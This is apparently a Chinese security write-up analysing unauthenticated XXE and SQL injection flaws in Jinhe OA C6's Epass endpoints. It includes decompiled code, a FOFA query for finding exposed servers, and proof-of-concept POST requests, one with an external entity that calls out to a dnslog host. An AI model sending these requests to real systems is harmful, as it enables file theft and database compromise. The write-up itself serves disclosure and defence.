漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 EpassInitTakenSnCheck.aspx 、EpassInitTakenSnExec.aspx、EpassInitTakenSnInva.aspx、EpassValidate.aspx接口处存在XXE漏洞,未授权的攻击者可以通过此漏洞读取服务器上敏感文件或探测内网服务信息,进一步利用可导致服务器失陷。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA"
漏洞分析
直接根据 EpassInitTakenSnCheck.aspx 在 bin 目录下查找 JHSoft.Web.Epass.dll 将其进行反编译后找到 EpassInitTakenSnCheck 的处理逻辑
protected void Page_Load(object sender, EventArgs e)
{
if (this.IsPostBack)
return;
EpassClass epassClass = new EpassClass();
XmlDataDocument xmlDataDocument = new XmlDataDocument();
((XmlDocument) xmlDataDocument).Load(this.Request.InputStream);
XmlElement documentElement = ((XmlDocument) xmlDataDocument).DocumentElement;
请求内容直接使 XmlDocument.Load 解析,造成XXE漏洞。
同时该处还存在SQL注入漏洞,子节点的前两个节点值分别带入CheckEpassInit方法
XmlElement documentElement = ((XmlDocument) xmlDataDocument).DocumentElement;
string strUserCode = documentElement.ChildNodes[0].InnerText.ToString();
string strTokenSn = documentElement.ChildNodes[1].InnerText.ToString();
this.Response.Write(epassClass.CheckEpassInit(strUserCode, strTokenSn));
this.Response.End();
public string CheckEpassInit(string strUserCode, string strTokenSn)
{
string str = "";
string QueryString = $"select UserName from UsersInfo a inner join users b on a.userid = b.userid where a.UserID <>'{strUserCode}' and EpassTokenSn ='{strTokenSn}' and deleteflag=0 and b.usertype!=2 and b.sysflag=0 and b.Status='A' ";
if (this.op.ExecSQLReobject(QueryString) != null && string.op_Inequality(this.op.ExecSQLReobject(QueryString).ToString(), ""))
str = this.op.ExecSQLReobject(QueryString).ToString();
return str;
}
整个过程对于参数没有过滤或校验,因此造成SQL注入漏洞。
EpassInitTakenSnExec.aspx

EpassInitTakenSnInva.aspx

EpassValidate.aspx

漏洞复现
XXE
POST /c6/Jhsoft.Web.epass/EpassInitTakenSnCheck.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.dnslog.pt/xxe_test">
%remote;]>
<root/>
在DNSLOG平台成功收到请求

SQL
POST /c6/Jhsoft.Web.epass/EpassInitTakenSnCheck.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
<root>
<strUserCode>SQLI_POC</strUserCode>
<strTokenSn>1</strTokenSn>
</root>

成功延时 4 秒


